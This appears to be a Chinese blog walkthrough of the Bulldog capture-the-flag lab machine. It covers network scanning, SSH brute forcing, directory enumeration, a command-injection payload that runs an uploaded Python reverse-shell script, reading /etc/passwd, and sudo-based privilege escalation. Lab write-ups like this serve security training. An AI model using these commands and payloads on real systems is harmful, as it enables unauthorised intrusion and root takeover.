靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

时间:2024-05-20 11:58:18

1.主机发现

方法一:netdiscover命令

netdiscover -i eth0 -r 192.168.109.0/24         主动,不扫描本机IP地址

netdiscover -p                                                被动,不容易被发现,只能扫到有交互的

 -i 指定网卡 -r 指定网段

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

方法二:nmap命令

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

2.端口扫描

masscan kali下的工具(速度快,容易漏IP,一次没扫到,多扫几遍)

masscan --rate=10000 --ports 0-65535 192.168.109.151

--rate发包数(发包数默认为100个)   --ports指定端口数

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

nmap -T4 -sV -O -p 8080,80,23 192.168.109.151            //nmap扫出详细信息

-T4:速度    -sV:版本扫描和开启的服务  -O:操作系统

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

3.信息收集分析

ssh服务端口开放,尝试检索:打开msfconsole

可以联想到进行ssh**,搜索ssh_login

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

发现辅助模块扫描ssh登录和ssh公钥登录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

set rhosts 192.168.109.151(目标IP地址)

set user_file /root/user.txt   #提前在根目录下写好

set pass_file /root/pass.txt

show missing(查看是否漏掉设置)

exploit(相当于run)

可利用脏牛提权

发现http服务,进行IP地址访问,找跳转点

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

查看指纹信息

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

用默认字典探测目录

dpkg -L dirb   //查找字典

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

dirb  http://192.168.109.151      (扫描网站目录,默认使用普通字典) 

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

4.访问收集到的网站目录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权       靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

尝试弱口令、抓包暴力**没有什么效果,接下来访问另一个网站目录看看

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

发现依旧需要身份验证才能使用web-shell,进入它的上一级目录看看

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

发现了一些邮箱信息,F12看看详细信息

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

用户名:nick                      密码:bulldog

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

用户名:sarah      密码:bulldoglover

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

未能解密的用户,因为出了如下状况

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

此时,得到了两个用户名和密码信息,尝试身份验证登录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权   靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

登录后,此时再次访问web-shell

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

执行命令如下:查看当前路径的目录文件

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

5.get shell 并提权

用python脚本去远程连接弹出shell进行提权(前面已经注意到网页是用到python的,所以此处用py脚本试试)

在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务

注:web服务在/var/www/html目录下开启,当然也可以直接开启Apache服务 /etc/init.d/apache2 start;利用命令注入漏洞,在测试机Kali上写一个shell.py脚本,并将其上传到靶机上,使其执行,从而获得一个反弹shell

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

其中,p=subprocess.call([“/bin/bash”,”-i”])      //连接打开交互式shell(/bin/bash)

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

上传

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

上传后可以看到上传成功

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

如果出现报错如下:

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

开启Apache服务务必在/var/www/html下开启才能成功,如果还报错,查看端口netstat -pantu 并 kill 80端口

在靶机上查看

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

不要关闭:python -m SimpleHTTPServer 80

重新打开一个窗口进行端口监听,然后在页面执行命令 'pwd & python shell.py',即可成功获得shell。

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

如果这里执行失败返回500,并且监听不到,那就是脚本有问题(大多数出现在中英文标点符号错误),修改后重新上传执行

查看监听,getshell成功

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

查看一些重要信息:cat /etc/passwd,有用户:bulldogadmin、django

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

之前访问页面执行命令pwd,知道了home路径,查看一下

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

查看当前目录下的所有文件的详细信息,发现一个隐藏目录 .hiddenadmindirectory //管理员隐藏目录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

存在两个文件,一个可执行文件,一个note提示

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

strings 查看可执行文件中的字符(此处用cat查看不了,因为它是程序字符串,显示出来是乱码)

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

疑似密码:SUPERultimatePASSWORDyouCANTget

输入su root ,提示要运行一个终端

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

输入下面python -c 'import pty; pty.spawn("/bin/bash")'  运行终端,提示没有权限

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

再次执行sudo python -c 'import pty; pty.spawn("/bin/bash")'

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

至此,提权成功